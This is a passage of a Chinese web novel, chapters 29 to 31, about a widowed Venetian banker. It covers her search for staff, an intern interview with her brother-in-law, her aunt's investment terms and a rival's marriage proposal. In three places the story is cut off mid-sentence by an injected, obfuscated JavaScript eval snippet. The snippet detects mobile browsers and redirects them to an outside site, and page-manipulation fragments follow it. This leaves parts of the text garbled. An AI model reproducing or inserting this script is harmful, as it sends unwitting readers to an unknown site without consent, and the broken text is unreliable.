莉莉斯已经在这条航线上往返了无数次。从早到晚忙活了一整天,她感到很累,于是便靠在船舷上看向一望无际的大海发呆放空。突然,一阵翻涌的呻吟打断了她的休息,她才注意到是坐在她对面的海因里希正在向大海里呕吐。 “你怎么了?”莉莉斯从腰间的口袋中抽出手帕递给他。 “我没事。”海因里希没有接过她递来的手帕,而是从腰包中掏出了自己的手巾把嘴擦干净,“只是我一想到要回到那个地方就有点犯恶心,唤起了一些不太好的回忆。” “……” 莉莉斯突然感觉有些抱歉。除了夏洛克,她的每一个下属都是从这座奴隶岛上买来的,可是她从来没有考虑过塞西莉娅她们每次陪她来时的心情。她们都是女人,在被买走之前,或许遭遇过比海因里希所经历的还要更加恶劣的对待吧。看来她作为她们的老板与女主人,不仅得在做生意的时候精打细算,还须多多关照一下员工的心理健康。 “对不起。”莉莉斯轻声对他说,“我没有办法想象你具体经历过什么……我知道那一定很糟糕很痛苦。但是都已经过去了,你现在是自由人,而且还是我手下的人,没有人可以轻贱你,你再也不用经历一遍那些糟糕的事。” “变成自由人了就不能再退货退款了对吧。”海因里希故意摆出一幅委屈巴巴的表情。 “早就过了退货时限了。”莉莉斯笑着揉了揉海因里希的头发,将他梳理整齐的三七分金发揉乱,“你还算挺乖的。只不过未来我们要面临的挑战与风险越来越多,还得再接再厉才行。” “我一定不会让您失望的。” “你跟着我这段时间也能看出来,我跟克纳罗家的关系并不好,除了埃莱娜姑姑以外我在那个家里没有任何可以信任的人,这也是为什么我不敢聘用任何与他们有关系的家伙,甚至不敢聘用威尼斯人,谁知道他们是不是与克纳罗家沾亲带故。”莉莉斯无奈地苦笑道,“七岁以前,我和母亲还没有被父亲接回家去,妈妈就租住在夏洛克名下的公寓里,那时候他还是赌场聘用的帐房,也同时经营地下放贷业务。他看着我从小长大,甚至比我父亲还更关心我。” “请您节哀。” “是我不好,我不该安排他一个老人家独自去处理这么危险的工作。”莉莉斯自责地弯下腰去,双手扶额,“如果不是得到了他的帮助,我根本不可能开得起这家银行。威尼斯人总对犹太人抱有偏见,将他们的小心,细致,还有对利润、价格与数字的敏感抹黑成吝啬与斤斤计较,可这些对银行家而言都是最重要的品质。难道你会放心把你的钱交给一群大大咧咧且爱慷他人之慨的糊涂虫吗?” “显然不会。” “正是如此。”莉莉斯咬牙切齿道,“说实话,我并不信任你能够完全胜任接替夏洛克的工作。但是没办法,比起聘请一个我根本不信任的人,我情愿找一张像你这样的白纸从头开始教,尽管这很耗费时间……” 莉莉斯和海因里希有一句没一句地闲聊着,没过多久船便靠岸了。莉莉斯从包里掏出来两个制作精巧的黑色面具,一个自己戴上,一个递给海因里希。 29. 比奴隶好用的实习生 “这批货真是烂透了,你们就拿这种东西来糊弄我是吧。” 莉莉斯一个劲地扇着手里的黑色蕾丝折扇,试图驱散奴隶身上的汗味与劣质香薰混杂在一起的恶臭气息。 半句意大利语都说不了的外邦人,骨瘦如柴形同枯槁的残疾人,还有奇丑无比的侏儒。这些人若是买回去了,莉莉斯不仅获得不了任何收益,额外培训和伤病治疗又是好大一笔费用,而且长得不好看,每天看见了还糟心。 “尊贵的夫人……您也知道,最近热那亚与威尼斯共和国之间大小争争斗不断,咱们这儿的进货渠道也多少受到一些影响……”大腹便便的奴隶贩子一个劲地给莉莉斯鞠躬道歉,恨不得在她面前跪下来。 ”浪费我时间。”莉莉斯翻了一个白眼,扯过海因里希的袖管扬长而去,“我们走!你给我小心点,要下次还是这个质量,我们以后再也不来了。” “诶哟,夫人……您息怒呐……” 奴隶贩子道歉的回声还在走廊中回荡,莉莉斯就已经牵着海因里希离开好远了。她没好气地一路拉着他回到船上,用近乎仇视的眼光扫过每一个路过的伙计或是客户,仿佛像是在向人炫耀这唯一一件拿得出手的战利品。 “真就一个合适的都没有。”莉莉斯气得脸都绿了,“难道真的得去外聘一些又贵又心怀鬼胎的老东西来我的银行吗?简直是引狼入室。” “您要实在不愿意聘请已经有工作经验的老混子,倒也有一个折衷的解决办法。”海因里希对她说。 “什么办法?” “招学徒,也就是实习生。以提供学习机会的名义去招揽他们,再搞一些实习证明、考勤评奖,未来转正机会之类的噱头忽悠他们。一分钱的工资都不需要付,就可以让他们为你工作了。” “真的假的?”莉莉斯狐疑地挑眉。 “您将招聘公告张贴出来一段时间,看看有没有人投递就能知道真假了。” “好吧。那你今晚回去把公告写好,明天早上给我过目完了就贴在门外头。” “遵命。” 莉莉斯对海因里希的提议有效性持怀疑态度。怎么可能有自由人会愿意不收取工资就凭白无故给人打工呢?但是不用付出什么成本,试一下也未尝不可。 第二天一早,莉莉斯睡眼惺忪地爬起来,随意扫了一眼予以批准海因里希写的招聘公告之后,便在塞西莉娅的陪伴下备着厚礼去慰问夏洛克的家属。幸好他的妻子身体健康,孩子也已经成家立业,骤然离世没有给家庭造成什么经济上的负担,只有无尽的惋惜与哀叹。夏洛克夫人将原属于夏洛克的那枚L. C. Schmidel徽章还给了莉莉斯,并邀请她去参加夏洛克的葬礼。 下午,她一回到自己的办公室,便看见有上百份简历与求职信堆在了她的办公桌上,堆得像山一样高。 “这是怎么回事?”她恼怒地质问着把更多简历持续不断搬进办公室的海因里希。 “这是我们截止今天下午收到的实习申请。”海因里希将桌上堆不下的木质文件框干脆堆在地上。 “快去把外面公告撕了!停止招聘!这也太多了,我怎么审得过来啊!” “遵命。我这就去撕。” “等下!这些信封上涂了绿色火漆蜡的是什么意思?” “哦,是这样的。涂了绿色火漆蜡的都是与咱们客户有关系的小孩,红色火漆蜡的则是与克纳罗家沾亲带故的人,还有蓝色火漆蜡的……”海因里希瞥了一眼被放在纸摞最上方的那封求职信,“是施密德尔家的人。” “什么?施密德尔家?” “对,就是您丈夫的家族,来自美因河畔法兰克福的施密德尔家。”海因里希仔细观察着莉莉斯的反应,“他的名字叫威廉·施密德尔,似乎是您丈夫的弟弟。” “我丈夫的弟弟?他不好好在法兰克福待着,怎么跑到威尼斯来了?”莉莉斯顺手用拆信刀拆开那封求职信,将羊皮纸摊开在手中。 “我前段时间听说,同样来自德意志的福格尔家族也将家族子弟送来了威尼斯实习,旨在学习会计和财汇知识。或许施密德尔家族也想效仿这种行为送孩子来历练吧。” “让他过来面试看看吧。我的银行毕竟顶着‘施密德尔’的名字,总不能拂了夫家的面子。”莉莉斯把威廉的资料放在一边,盯着面前剩下的一大沓简历为难地眨了眨眼,“剩下的这些嘛……客户的关系不好随意拒绝,但这波人真要招进来了也不好使唤,不如你之后办一个为期一周的实习体验项目,把这群人带过来开开会、算算术、聊聊天,就当是完成了实习。重点是得给项目起个好听的名字,比方说‘L.C.施密德尔银行春季实习周’之类的……” “这也要我来负责?”海因里希皱起了眉头,“除此之外,我还要主管招聘、调查夏洛克的死因以及做日常财报记录。” “把任务都交给你是对你的信任嘛,亲爱的。”莉莉斯露出一个撒娇似的笑容,“然后再从没有关系的那堆里挑一个家里没有靠山,肯吃苦,好拿捏的,以后脏活累活都丢给他干。至于其他那些嘛……把他们的档案按照姓氏字母顺序整理好收起来,尤其是与克纳罗家有关的那些人,还有别的贵族子弟,他们的履历资料留着说不定以后能派上用场。你要是实在忙不过来,就让塔塔来帮你吧。” “……知道了。” 海因里希默默将两大叠求职信原封不动地又搬出了莉莉斯的办公室,堆积在一个空出来的工位上。他看向了瘫坐在椅子上,将两条腿翘上了办公桌的塔塔——无所事事的吉普赛小女孩正在一边悠闲地哼歌一,一边摆弄着几络颜色各异的彩线。 “塔塔,你过会儿来帮我理一下这些资料。” “这是你分内的工作吧。”塔塔不耐烦地抬起头,“夫人安排给我的工作一向都是由塞西莉娅传达的,什么时候也轮到你来使唤我了。没看到我正在忙着吗?” “这样吧,我一会儿要出门去请夫人要见的应聘者,回来之后和你一起理。你在忙什么?” “我在给夫人编蕾丝钩花手链。”塔塔见海因里希似乎没有要强迫她立刻开始干活的意思,态度顿时缓和了不少,把手里做到一半的作品展示给他分享,“你看,我买了桃粉色、紫罗兰色和银色的彩线,三股线编在一起就可以做蕾丝手链了。” “夫人不是一向都穿黑裙子居多吗?” “那是丧服。她总有一天要脱下来的,总不可能一辈子都穿黑嘛。”塔塔的手指动作飞快,不一会儿就编出来一朵玫瑰花的图案,“其实夫人的衣柜里还有好多五颜六色的漂亮裙子,她以前很喜欢穿白色和粉色的裙子。” “像她的名字莉莉安娜一样吗?(注:莉莉安娜Liliana的词根来源是lilium,意思是百合花)” “是啊,莉莉安娜,而不仅仅是‘放贷的莉莉斯’。”塔塔自顾自地小声念叨着,声音轻到明显不打算让海因里希听清,“夫人以前是一个很活泼爱笑的人,可是自从银行开张之后,她就每天都是眉头紧锁一肚子气的模样,我都好久没有看见过她笑了……” 海因里希没有功夫再与她闲聊,他快步走去威廉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15973654|177846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下榻的酒店把已经整装待发的受试者请到了银行的总裁办公室门前。兄弟俩互相对了个眼神,海因里希便敲响房门,在获得允准后将弟弟送了进去,自己则坐在莉莉的旁边充当面试官的一员。 “欢迎来到L.C.施密德尔银行的实习生面试现场,我是本行的首席执行官、董事长兼行长莉莉安娜·克纳罗·施密德尔,也是你的嫂子。”莉莉安娜郑重地伸出右手与威廉握手致意,表情里满是惺惺作态的哀怨: “真没想到会以这种方式见到你,亲爱的威廉,你或许出发前已经从家长那里得知了你的兄长,也就是我的丈夫海因里希不幸去世的消息。克纳罗家为他在威尼斯举办了庄严肃穆的葬礼,过两日等我有空了,我可以带你去拜访他的陵墓。” “多谢夫人的好意。是的,家母在得知兄长去世的消息后悲伤不已。她接连失去了丈夫与儿子,整日以泪洗面,哭得眼睛都快看不见了。”威廉的意大利语水平其实并不算熟练,但这些面试中准备要说的话已经在海因里希的鞭策下反复对镜背诵练习了无数遍,所以表达出来很是流利。 “什么?公公他……”莉莉斯十分惊讶地捂住嘴巴,装出一幅几乎要昏倒过去的模样,“慈悲的天主啊!请您不要再对忠诚正直的施密德尔家降下惩罚!我情愿让克纳罗家的人来承受这一切痛苦,好平息您无上的怒火!” 威廉第一次见识这种唱歌剧般夸张的遣词造句。这怎么办!?这没练过啊!他不知所措地偷偷瞄向哥哥,正好瞥见海因里希对莉莉斯默默翻了个白眼。 “哦,不,请您千万不要说这样的话……您……您毕竟是我的嫂子,在我眼中克纳罗家也是我的亲人,哦,请天主为克纳罗家赐福……这也是为什么,母亲会将我送来威尼斯,就是希望我能在克纳罗家的帮助下尽快成长起来……” “我看你成长得挺好的呀,今年多大了?16?长得比我都高了吧。”莉莉斯见威廉识相地接茬了,满意地从上往下打量他,“我听说有的地方好像有弟娶寡嫂的习俗,你不会是抱着这种目的来接近我吧?” “绝对不是!在我们那边绝对没有这样的习俗……”威廉刚说完,才意识到自己的母亲正即将要被迫嫁给他的叔父,突然悲从中来,忍不住说了些心里话,“说实话,短期内我都并没有要结婚的打算。父兄去世,我是家里年纪最大的儿子,我只希望能尽快成长为独立的大人,保护好我的母亲和弟弟妹妹。” “有志气是件好事。可是你在我这里能为我带来些什么呢?亲爱的威廉。” “我什么都能做!招揽客人,计算账单,送货跑腿,甚至洗衣做饭,打扫卫生都可以交给我。会做的都能做,不会的都可以学。” “那你需要多少报酬?” “我不需要报酬!如果可以的话,我想要一个住的地方和一些吃的东西……” “成交。”莉莉斯将一个新做好的LCS银质徽章抛给威廉,“正好咱们行楼上有一个带床铺的空房间,收拾一下也能住人。明天就开始上班吧。海因里希,你来安排他的工作。” “海因里希……?” “对了,忘记向你介绍一下,他是我们公司的首席财务官,正好也叫海因里希。”莉莉斯微笑着和威廉闲聊,“海因里希……你哥哥的名字很好听,这个名字在德语里是什么意思?” “是‘一家之主’的意思。”威廉有些尴尬地解释道,觉得自己好像说了什么不该说的话。 “哦,原来是这样啊。”莉莉斯的脸突然就黑了,冷冰冰的目光投在海因里希身上,盯得他背脊发凉。 30.注资的利与弊 傍晚,莉莉斯在确认员工们手上的工作都已经完成,并且安排好第二天威廉的新人入职工作之后,终于能够带着下属们一起乘船回家。疲惫不堪的银行总裁累得差点就倒在贡多拉的软塌上睡着了。等她好不容易回到家,想着终于可以吃到伊万卡精心烹饪的丰盛晚餐时,她看见埃莱娜正与一名穿着修女服饰的人一同端坐在她的会客厅里。 埃莱娜总喜欢穿颜色鲜亮的衣服。明黄色的丝绸长裙剪裁干净利落,金棕色的头发高高束起,显得她神采奕奕,气色极佳。相比之下,仍在为丈夫披麻戴孝的莉莉斯全身上下都是黑漆漆的打扮,这几日又因为连续不断高压工作而过度疲劳,整个人身上弥漫着一股阴森森的死气。 “埃莱娜姑姑!您要过来怎么不提前跟我打声招呼,我好让手下的人仔细准备一番呀。”尽管已经累得头昏脑胀,在见到埃莱娜的那一刻,莉莉斯还是尽全力咧出了一个热情的笑容,向她伸开双臂。 “你跟我客气什么,来,你快看,瞧瞧这是谁?”埃莱娜一把将侄女搂进怀里亲吻她的脸颊,随后扶着她的肩膀示意她与身旁的修女打招呼。 “您是……克拉拉老师!”莉莉斯惊讶地睁大了双眼。眼前这位修女正是莉莉斯曾经就读的修道院女子学校中的算术老师,向来以严厉著称。修女的头巾下半掩着一头似墨水般漆黑的长发,高挺的鼻梁上架着一幅框架眼镜,年龄也不过二十五六岁。 她有着比莉莉斯更加高贵的出生——隶属于威尼斯八大家族中韦尼耶家族的嫡出女儿,为了躲过家族安排的婚约而进入修道院学校研习神学,并发誓要将灵魂奉献给上帝的真理,与天使和圣徒的意志一起培养学校里那些如花似玉的年轻女孩们。由此她为自己挣得了不婚不育的权力,能够留在女人组成的社区里做她自己喜欢的事。 也正是因为埃莱娜与克拉拉一直以来的交情,作为私生女的莉莉斯才有机会被送进这所一贯只招收名门嫡女的修道院学校接受教育。 “莉莉安娜,怎么,不想见到我吗?”克拉拉笑着给予莉莉斯一个问候的拥抱。 “我还记得跪在您办公室的地板上修改订正作业的痛苦呢……”莉莉斯惺惺地咕哝着,“但我其实一直惦记着您呢!复活节我差人送去修道院给您的礼物您收到了吗?” “收到了,谢谢你的一片好意。如果不是你半夜不睡觉忙着和同学们做地下交易,也不至于在考试的时候太困了直接睡着。”克拉拉用开玩笑的语气数落道,随后又认真地告诉她,“不过你现在居然真的把生意做到了明面上,这很了不起。” 出于对算术老师刻入骨髓的畏惧心理,莉莉斯乍一听都没分清对方到底是在讽刺挖苦她还是发自内心的赞美。 她情不自禁地回想起住在修道院学校里的日子。修女们严禁女学生放假结束返校时在行李中夹带零食,严格到所有人都必须接受开箱检查。 然而,有规训的地方就一定会应运诞生出反抗。以莉莉斯为首的一帮女孩子们马上就想出了应对的偷渡技巧。她们将方糖、各色坚果还有小饼干用纸袋严丝合缝地裹起来,卷进包成一团的袜子里,塞进备用的文具盒里,或是放进有夹层的文件袋里运进修道院,然后储存在废纸篓的底部,上面盖着揉成团状的干净纸巾作掩护。 很快,修道院里就发展出了地下零食交易。两块方糖换一袋杏仁,一袋杏仁换一盒饼干。每周二午夜熄灯后聚在浴室的隔间里进行交易,直到被轮值负责宿管的克拉拉老师所发现。 她立即叫停了这种修道院明令禁止的违规行径,没收了她们的“赃物”,但并没有实施惩罚。 “与其在满足口腹之欲时费尽心机,还不如以后把这些伎俩用在对付你们的丈夫身上更有用。” 莉莉斯一直记得克拉拉在她十五岁时对她说的这句话。只不过她后来对付丈夫时的手段可比上学时的小打小闹要激进得多。 “我把克拉拉修女请来可不只是为了让你们叙叙旧。”埃莱娜笑着将对话拉回正题,“莉莉,我听说了你手下的犹太会计师不幸身亡的事。我知道短期内想要找到合适的替代人选绝非易事,所以我特意去请来了克拉拉修女。她长期在修道院担任财务工作,又曾是你的老师,由她来帮助你最合适不过了。” “什么!?” “修道院批准了我花一年时间外出研修,回去之后开设新的会计课程。”克拉拉解释道,“合作愉快,莉莉安娜。” 莉莉斯愣住了,一时间不知道该作何回应。克拉拉确实是她非常尊敬且信任的老师,为人勤恳务实,能力更是无可指摘。而且她出生高贵,与埃莱娜交好,隶属教廷,有了她坐镇银行也相当于得到了教会的背书。 甚至可以说,克拉拉的加入对L.C.施密德尔银行有百利而无一害,但莉莉斯总觉得有些不对劲——这一切来得太快,太突然了,她仿佛正在被一双无形的大手推着走,完全没有否决或抵抗的余地。或许是太累了,她感到额头一阵阵嗡嗡地发昏。 “合作愉快,克拉拉老师,”莉莉斯强颜欢笑着与克拉拉握手,“今天时候不早了,有关工作职责的事明天再与您接恰吧。” “是的,今天我有更加重要的事要跟你商量。”埃莱娜巧妙地驳回了莉莉斯准备送客的小心思,直截了当地告诉她:“我这次来是为了在出发去罗马前告诉你,我决定正式出资入股你的银行,并帮助你尽快开始业务扩张。” 莉莉斯又一次愣住了,而后迅速摆出开心的表情:“哦!天呐,这真是太好了,埃莱娜姑姑。” “你先别着急恭维我。我愿意注资也是有条件的,你先听完我的方案再做决定吧。”埃莱娜微笑着提醒她,“首先,银行需要改名字,删除前缀和后缀,直接改名为克纳罗银行。” 莉莉斯下意识皱起了眉头。她对现在的名字很满意。施密德尔的姓氏是她逃离克纳罗家掌控的工具。即使是出于埃莱娜的意愿,她也不想讲这个姓氏冠在自己的银行头上。 “这样对你有百利而无一弊,可以规避很多合规风险。”埃莱娜道,“你现在能堂而皇之地继续使用这个名字,是建立在施密德尔家对此并不知情的基础上的。如果他们家的掌权人突然得知家族成员的遗孀借用他们的名字经营信贷业务,你觉得他们会怎么想?” “他们对此似乎并不反感。实际上,施密德尔家的威廉刚刚到威尼斯,想要加入我的银行实习。” “那么你更应该将银行名字的归属权牢牢握在自己,而不是夫家的手里。我相信你能想明白这一点的。并且我会以我在家中的地位向你保证,无论是马西莫还是布鲁诺,我绝不会让克纳罗家的男人染指我们的生意。” 莉莉斯保持着沉默,等待埃莱娜继续说下去。 “作为回报,我会帮助你以最快的速度拓宽业务范围,开设新分行。” “新分行…?您是说,将您在佛罗伦萨为我代理的业务也正式注册为一家新的分行吗?” “没错。但不仅仅是佛罗伦萨。”埃莱娜郑重道,“我在佛罗伦萨已经有信任的下属,稳定的客源和可靠的渠道。有了你此前在威尼斯的一番辛苦,开设分行只需要我差人再去行会走个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15984093|177846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 流程。我真正想做的,是在罗马和苏黎世开设分行,打通意大利半岛到德意志的贸易与纳贡资金流。” “罗马和苏黎世……”莉莉斯暗自思忖着埃莱娜提出的方案。罗马是教皇国所在地,教廷拥有整个天主教世界最至高无上的权力去财富。而苏黎世位于意大利半岛以北,德意志地区以南的瑞士联邦,是链接阿尔卑斯山商路最重要的金融与商业中心。如果将银行业务范围拓展到这两个商业要塞,就可以大力开展汇兑交易,吸引无数贸易商路上的稳定客源。 可是,莉莉斯自出生以来就从未离开过威尼斯,对罗马与苏黎世的所有了解也都只是道听途说而已。何况她现在连在威尼斯都还没有站稳脚跟,将银行开到那么遥远的地方听起来更像是天方夜谭。 “咱们威尼斯铸造发行的杜卡特金币是整个欧罗巴最具价值的货币。”埃莱娜从口袋里掏出一枚漂亮的杜卡特在手上把玩,“日尔曼人向我们出口钢铁、武器、矿石与染料,从我们这里进口香料、玻璃、药材还有丝绸。而作为天主的子民,我们赚到的每一桶金都需要向教皇纳贡。” “这就是为什么要去罗马……” “没错。我们的最终目标是成为教皇的代理银行,为他提供收取税务的服务。但在此之前,开设分行是刻不容缓的事。下个星期我就会出发去罗马。” “下个星期??” “没错。我亲爱的莉莉,金融就是与时间赛跑。威尼斯的康达里尼家族已经正式涉足银行业,德意志地区最为富有的商人富格尔家族也在蠢蠢欲动,计划于威尼斯开设他们的第一家银行分支。我们必须赶在他们之前扩大规模,吸引更多客户才能摆脱被市场淘汰的命运。” “我必须要和他们竞争吗。”莉莉斯仍然有些犹豫,“我开设银行的初衷只是为了能够在财务上自给自足,也能帮助我的女朋友们管理资产,但是……” 埃莱娜打断了她:“想要做大做强就不能只跟女孩子们做生意,男人的钱也得狠狠赚进自己的钱包里。下周我就会出发去罗马,而你,施密德尔家的寡妇,去说德语的苏黎世。这样最快在六月之前,克纳罗银行就能拥有包含威尼斯、佛罗伦萨、罗马和苏黎世四家分行了。我们必须在康达里尼和富格尔家族之前抢到重要的行商客源。这也是为什么我会帮你请来克拉拉修女,因为我得从你身边借走塞西莉娅,请她陪我一起到罗马去。” “什么!?”一直站在莉莉斯身后保持沉默的塞西莉娅被吓了一跳,“不,我绝对不可能离开夫人,夫人她离不开我。” “你放心吧,莉莉已经不是个小孩子了。”埃莱娜被她的反应逗笑了,认真地看向塞西莉娅的眼睛,“我很看重你,塞西莉娅。你是一个很有能力的女人,也非常忠心。但你要知道,与其一直跟在莉莉身边照顾她的生活起居,你能够为你的主人发挥更大的价值。这是一次非常难能可贵的历练,你会收获意想不到的成长。而且——” 埃莱娜将目光移回到莉莉斯的身上:“莉莉,我相信你能够明白,这是一桩合作共赢的好买卖。时间紧迫,三天之后我会来再次拜访你,届时希望你能够给我一个明确的答案。” 等埃莱娜走后,莉莉斯终于像死鱼一般瘫软在沙发上,闭上双眼近乎累得昏死过去。塞西莉娅和海因里希都不知道是否该打破僵局。伊万卡烧好的意大利面已经快要放凉了,桌上还堆着没读完的信件等待处理。就在这时,塔塔蹑手蹑脚地走进客厅,小心翼翼地说: “……方才康达里尼家的信使来敲门。他说洛伦佐先生找咱们夫人有要事要谈。” 31.竞争对手的求婚 莉莉斯躺在沙发上睡着了。等她醒来的时候,她正穿着衬裙盖着被子躺在卧室中的大床上,塞西莉娅守候在她的床边。 “我睡了多久?” “不到一个钟头。您身体还好吗?”塞西莉娅十分担忧地看着她的女主人,手中紧紧捻着一封被火漆印封起的信笺。 “我没事。”莉莉斯揉了揉还在发晕的额头,从床上爬起来,“你手里拿着的是什么。” “洛伦佐·康达里尼差人送来的邀请函。”塞西莉娅有些犹豫,“他邀请您明天晚上去康达里尼家的宫殿一同共进晚餐。” “又来?”莉莉斯紧紧皱起眉头,“他不是已经得到了他想要的了吗,那一批香料还不够?还想要我怎么样?” “信使怎么问都不肯说他邀请您的缘故,只说这次是私人会面,与商业上的事情无关。” “那只会更加令我厌烦。”莉莉斯翻了个白眼,双手捏着被子握起拳头,“但这家伙很显然是个不达目的不罢休的狠角色。如果我不去,指不定又要整出什么幺蛾子。让塔塔告诉他,我今晚就去,有什么事赶紧说清楚,别再卖关子。你来替我梳妆,过会儿叫上海因里希一起去。” “海因里希再您睡着后便出门了,他说是去完成您布置给他的工作。” “哦,那就由着他去吧。你陪我去。” 莉莉斯坐在梳妆台前的软凳上,呆呆地望着镜中的自己被塞西莉娅用蘸了玫瑰水的热毛巾卸去晕染的妆容,再用研磨得细细软软的珍珠粉轻轻铺在皮肤上,遮住因为缺乏睡眠而形成的黑眼圈。入睡前埃莱娜与克拉拉造访时说的那些有关注资入股、开设分行之类的话她都还没有时间仔细考虑清楚,现在又得紧接着去面对竞争对手带来的不知好坏的消息。 时间好像突然被加快了,她被周遭的事情推着走,推着她不断向前,压得她喘不过气。但这是她自己选择的道路,所以她一点也不后悔,反而有些乐在其中。未知象征着机遇,而风险意味着收益。她并不介意为了经营自己的事业加班加点——前提是能够有机会补充睡眠。 在乘坐贡多拉去康达里尼家的路上,莉莉斯一直在思考埃莱娜对她说的那些话。当她的银行从闺房与社交舞会之间的秘密变成汇兑商行会记事簿上登记在案的一员之后,连她从前最信任最依赖的姑姑都变得有些陌生。 也就在不到五年以前,她还是克纳罗家中一个最不受重视的私生女。埃莱娜对她举手之劳的善意就足以改变这个可怜孩子的人生。她永远不会忘记埃莱娜对她的知遇之恩。但现在不一样,莉莉斯做出的决策不仅需要考虑她自己,还得为她手下的所有员工与客户负责。 埃莱娜能给她带来的好处是新鲜的现金资本,克纳罗家族在意大利半岛以及整个西欧积累的名声与人脉,还有克拉拉修女的助力,乃至于教廷对银行的进一步认可与对放贷行为的默许。而莉莉斯作为创始人需要付出的,则是让渡掉银行原本的名字,以及很大一部分的控制权。 在此之前,她的银行完全是她的一言堂,由她来主导所有的业务、产品和未来战略部署。埃莱娜虽然在具体执行方面有所参与,但并没有心思来干涉她的发展方向。甚至连通过收购来加入汇兑商行会也都只是莉莉斯自己的主意,从来没有跟埃莱娜商量过。 至少现在莉莉斯能够看出,她费尽周折搞来的行会许可证比她原本预想的还要有价值。这就像是第一颗被埋进土中的种子,即使现在只萌生出幼嫩的绿芽,但其中蕴藏着长成一棵参天大树的潜质。这也是为什么埃莱娜会想要投资的原因。 但这么快就在威尼斯以外再开设三家分行,是不是有点太快、太激进?佛罗伦萨也就罢了,那里几乎已经是埃莱娜所经营的贸易公司大本营,此前也已经承接过小型的汇兑交易,埃莱娜能为她部署信得过的代理人。可罗马与苏黎世却是近乎完全未知的世界。贸然扩张的风险实在太大了。但如果莉莉斯执意要驳回埃莱娜溢出的倡议,这位重要的合伙人是否还会愿意如之前承诺的那样注入新鲜的资金呢? 莉莉斯仍然没有得出答案,但贡多拉已经停靠在了岸边。洛伦佐的下人早已经在家门口的码头上恭候她多时了。 莉莉斯揭开黑色的面纱认真欣赏这栋华丽的宫殿。据说这里在洛伦佐掌权以后请来了锡耶纳的艺术名家重新装饰过,绘制湿壁画上圣母所穿的蓝裙的是最昂贵的青金石颜料。看到这番豪华的装潢,莉莉斯顿时在心中感叹烧了他们一座仓库好像也不算什么。对于这种在多个领域和行业都有所涉猎的大家族而言,一条单一业务线的损失是不至于伤筋动骨的。 夜已经很深。洛伦佐正穿着一身家居睡袍在私人会客室里等着她。刚刚沐浴过的栗色长发上还挂着水珠。沙发旁的茶几上放着两支美拉诺产的雕花玻璃杯与一瓶希腊产的白葡萄酒,还有一个暗红色的精致绒布盒子。 “施密德尔夫人的到来使这座空荡荡的宫殿蓬荜生辉。”洛伦佐笑着对莉莉斯说,用开瓶器慢条斯理地拨开酒瓶上的软木塞,为全身黑衣的寡妇女士到了一杯酒,余光瞟过莉莉斯锁骨上闪闪发光的祖母绿项链,还有她身后神情戒备的仆役。 “晚上好,康达里尼先生。我最近公务缠身,非常忙,实在没空与您闲聊寒暄。”莉莉斯毫不掩饰自己的不耐烦。 “但您在百忙之中还是抽出空来登门造访,我感到十分荣幸。”洛伦佐将酒杯递给莉莉斯,趁着她掀起面纱饮酒时认真地望进那双绿色的大眼睛。莉莉斯不自觉地与他对视,洛伦佐镜片后的一双棕色杏眼被烛光渲染成温暖的蜜糖色,混合着房间里木质调的香薰散发出一种精心设计的温暖。 莉莉斯不得不承认,以威尼斯人的普遍审美来说,洛伦佐长得很好看,而且温柔,优雅且富有书香气,家世更是一等一的尊贵。明明有这么好的条件,却年逾三十至今未娶,这背后的原因仍然是整个上流社会茶余饭后例行八卦中的未解之谜。 她依稀记得自己在订婚前父亲也为她与康达里尼家族说过亲,但她私生女的出生仿佛一个极大的污点,就连康达里尼家旁系的籍籍无名之辈都觉得这样的身份娶进来有辱门楣。 不过莉莉斯并不在意这些事。 “爱情”对她而言是一个虚无缥缈到形同诈骗的概念,莉莉斯唯恐避之不及。 “我只是不想浪费彼此的时间。虽然比不上您家大业大,但我的名下也有一家银行要管。与钱打交道的人都很清楚,时间就如同金钱一般宝贵。” “您说话总是这样一针见血,就像一朵带刺的玫瑰,锐利而迷人。” “康达里尼先生。”莉莉斯板着脸试图拉清两人间的界限,“有话请直说。” “尽管这可能不是向您坦白的最佳时机,但既然您不想再兜圈子,也不愿意继续等待,那我也就开诚布公地将我内心的想法告诉您。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16004709|177846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 洛伦佐突然站起身,拿起茶几上放着的绒布盒子,单膝跪在她面前。 “施密德尔夫人……不,请允许我称呼您为莉莉安娜小姐。从第一次见到您的那天起我就被您的美丽与智慧所吸引。后来得知了您在克纳罗家中的遭遇与不幸丧偶的经历更为您感到无比惋惜。您明明还那样年轻,您的心不应当就这样随着未婚夫的死亡而葬送进坟墓里。所以,我想向您求婚,让我成为您的丈夫来保护您,疼爱您。” 莉莉斯睁大了眼睛愣在原地,看着洛伦佐打开盒子,将一枚光彩夺目的钻石戒指展示在她面前。连带着塞西莉娅都被吓得倒吸一口冷气。 